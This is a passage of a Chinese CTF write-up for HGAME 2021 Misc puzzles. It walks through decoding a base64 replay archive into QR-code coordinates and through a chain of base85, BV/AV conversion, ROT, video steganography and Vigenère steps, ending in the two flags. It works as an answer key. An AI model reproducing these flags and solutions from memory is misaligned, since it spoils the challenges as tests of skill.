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","playerDataDelta":{"modified":{},"deleted":{}}}

其中 replay 的数据是一段 base64 编码,将其解码后可得一压缩包。修正其文件头为 50 4B 03 04 之后可以解压得到如下数据。

通过观察不难发现其中包含坐标数据,使用正则匹配将其取出后整理。

1
2
3
4
5
6
7
8
import re

regex = r"{\"row\":(\d{2}),\"col\":(\d{2})}}"
file = open("F:\\CTFs\\2021\\HGAME\\Misc\\A R K\\default_entry", "r", encoding="UTF-8")
content = file.read()
file.close()
matches = re.findall(regex, content, re.MULTILINE)
print(matches)

使用 Excel 画出坐标散点图。

扫描二维码可得 flag。

1
hgame{Did_y0u_ge7_Dusk?}

A R C

将图片中内容抄取出来,得到如下内容。

text
1
BK0ICG]Qr*88_$gC,'-j2+KH86?Q"%928;[email protected]*!Am0+`;E7iV2agSE<c'U;6Yg^#H?!YBAQ]

将其 base85 解码一次可得如下内容。

text
1
h8btxsWpHnJEj1aL5G3gBuMTKNPAwcF4fZodR9XQ7DSUVm2yCkr6zqiveY

根据提示可知这是 BV 号和 AV 号转换的时候所用的 table。网上找个编码 BV 号的脚本并换一下表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>bv2av</title>
</head>

<body>
    <p>BV <-> AV</p>
    <input id="bv" type="text" placeholder="BV">
    <button onclick="AV2bv()"><-</button>
    <button onclick="bv2av()">-></button>
    <input id="av" type="text" placeholder="AV"><br>
    <script>
        // 作者:mcfx
        // 链接:https://www.zhihu.com/question/381784377/answer/1099438784
        // 来源:知乎
        // 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
        function bv2av() {
            const bv = document.getElementById('bv').value;
            document.getElementById('av').value = dec(bv);
        }

        function AV2bv() {
            const av = +document.getElementById('av').value;
            document.getElementById('bv').value = enc(av);
        }

        const table = 'h8btxsWpHnJEj1aL5G3gBuMTKNPAwcF4fZodR9XQ7DSUVm2yCkr6zqiveY'
        const tr = {}
        for (let i = 0; i < 58; i++)
            tr[table[i]] = i
        const s = [11, 10, 3, 8, 4, 6]
        const xor = 177451812
        const add = 8728348608

        function dec(x) {
            let r = 0
            for (let i = 0; i < 6; i++) {
                r += tr[x[s[i]]] * 58 ** i
            }
            return (r - add) ^ xor
        }
        function enc(x) {
            x = (x ^ xor) + add
            r = 'BV1  4 1 7  '.split('')
            for (let i = 0; i < 6; i++) {
                r[s[i]] = table[parseInt(x / 58 ** i) % 58]
            }
            return r.join('')
        }

    </script>
</body>

</html>

得到了 BV17f411J77h,将其作为密码解压 BVenc(10001540).7z。打开视频可以得到如下两段内容。

text
1
2
3
4
What is The answer to live, the universe and everything?

#)+F7IIMEH:?Injiikffi
pwbvmpoakiscqdobil

同时 Fragments.txt 中有如下内容。

text
1
2
3
4
5
zB7= ?I DEJ >;H;` 8KJ } MH?J; ?J 8;97KI; OEK C7O D;;: CEH; MEH:I JE 7D7BOI?I M>7J ;D9E:?D= J>; B?D;e ?Ib
zEH B?D;f` "?A? >7I JEB: OEK M>7J ?J ?I` 7D: uA?H7 ?I D;9;II7HO JE :E ?Jb
*ME OEKD= =?HBI ;NFBEH; 7 I>7JJ;H;: MEHB:` <?BB;: M?J> IEKD:n 7 F7IJ JE 8; KD9EL;H;:bbb
y79> 7M7A;DI ?D J>?I 8B7DA` HK?Da:EJJ;: MEHB: JE :?I9EL;H J>7J I>; ?I ;GK7BBO 8B7DA` H;C;C8;H?D= DEJ>?D= E< M>7J 97C; 8;<EH;b
uD: J>;D J>;O C7A; 7 I;9ED: :?I9EL;HOn J>; uH97;7` CKBJ?JK:;I E< <BE7J?D= =B7IIaB?A; I>7H:I 9EDJ7?D?D= L?L?: C;CEH?;I E< J>; F7IJb

视频中的问题的答案很明显是 42,因此将上述内容做 ROT 42 变换得到如下内容。

text
1
2
3
4
5
Flag is not here, but I write it because you may need more words to analysis what encoding the line1 is.
For line2, Liki has told you what it is, and Akira is necessary to do it.
Two young girls explore a shattered world, filled with sound: a past to be uncovered...
Each awakens in this blank, ruin-dotted world to discover that she is equally blank, remembering nothing of what came before.
And then they make a second discovery: the Arcaea, multitudes of floating glass-like shards containing vivid memories of the past.

根据提示将视频中第二段的第一行做 ROT 42 变换得到如下内容。

text
1
MSUpasswordis:6557225

根据搜索可以发现插件,在给出的软件中加载插件,打开视频后设置如下参数。

此时再渲染保存文件为 .avi 即可得到插件提取出的如下隐藏内容。

text
1
2
3
arc.hgame2021.cf
Hikari
Tairitsu

将上述内容作为网址和用户名密码登录后可进入一个没什么信息的网站。此时回过头来发现提示信息中曾经提到过 Arcaea,因此猜测密文 pwbvmpoakiscqdobil 的解密内容跟这个音游相关。根据提示在 week1 Crypto 第一题的解密过程中找到了如下内容。

text
1
2
Vigenere-Liki
Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x

猜测使用的加密方法是 Vigenère,于是尝试使用 akira 作为 key 解密。得到了可读的内容 pmtempestissimobyd。将其拼接到网站路径中访问后即可得到 flag。

1
hgame{Y0u_Find_Pur3_Mem0ry}